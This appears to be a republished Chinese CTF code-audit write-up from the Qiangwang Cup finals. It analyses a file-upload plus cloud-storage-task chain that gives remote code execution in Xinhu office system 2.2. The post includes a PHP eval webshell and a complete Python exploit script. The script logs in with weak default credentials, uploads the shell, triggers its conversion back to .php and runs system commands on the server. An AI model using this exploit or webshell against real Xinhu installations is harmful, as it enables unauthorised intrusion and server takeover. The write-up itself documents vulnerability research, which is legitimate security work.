[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE
文章目錄
- 寫在前面
- 漏洞分析
- 腳本
寫在前面
本次強網(wǎng)杯決賽的一個題,還是蠻有意思的,代碼可以在github拿到
https://github.com/rainrocka/xinhu
漏洞分析
首先這個系統(tǒng)存在弱口令,在題目給的sql文件當中通過在線md5破解得到test/abc123
接下來就是隨便找一個地方進行文件上傳
我們抓包看看對這個php文件進行了什么處理,其調用了webmain/task/api/uploadAction.php下uploadClassAction類的upfileAction函數(shù)
引入插件,實例化upfileChajian類
跳過不需太過于關注的部分,我們跟蹤up函數(shù)
看看issavefile
是一個白名單很明顯php后綴不符合
跳過不相干一堆函數(shù)
可以很明顯的發(fā)現(xiàn)這類白名單外的文件會被改后綴為uptemp
內容為原來內容的base64編碼結果,猜測估計是為了防止文件包含,不過都到這里了確實有點小單純
接下來就是最關鍵的地方,在webmain\task\runt\qcloudCosAction.php騰訊云存儲下的qcloudCosClassAction的run方法,根據(jù)id從數(shù)據(jù)庫取出數(shù)據(jù),接下來看圖
一方面恢復了php后綴,另一方面內容也通過base64還原了
運行下下面的腳本可以看見成功執(zhí)行whoami
腳本
1.php
<?php eval($_GET["1"]);?>exp.py
import requestssession = requests.session()url_pre = 'http://url/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'data1 = {'rempass': '0','jmpass': 'false','device': '1625884034525','ltype': '0','adminuser': 'dGVzdA::','adminpass': 'YWJjMTIz','yanzm': '' }r = session.post(url1, data=data1) r = session.post(url2, files={'file': open('1.php', 'r+')})filepath = str(r.json()['filepath']) filepath = "/" + filepath.split('.uptemp')[0] + '.php' id = r.json()['id']url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'r = session.get(url3) r = session.get(url_pre + filepath + "?1=system('whoami');") print(r.text)總結
以上是生活随笔為你收集整理的[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【转】精益看板核心实践大作战
- 下一篇: Android超声波识别技术,超声波指纹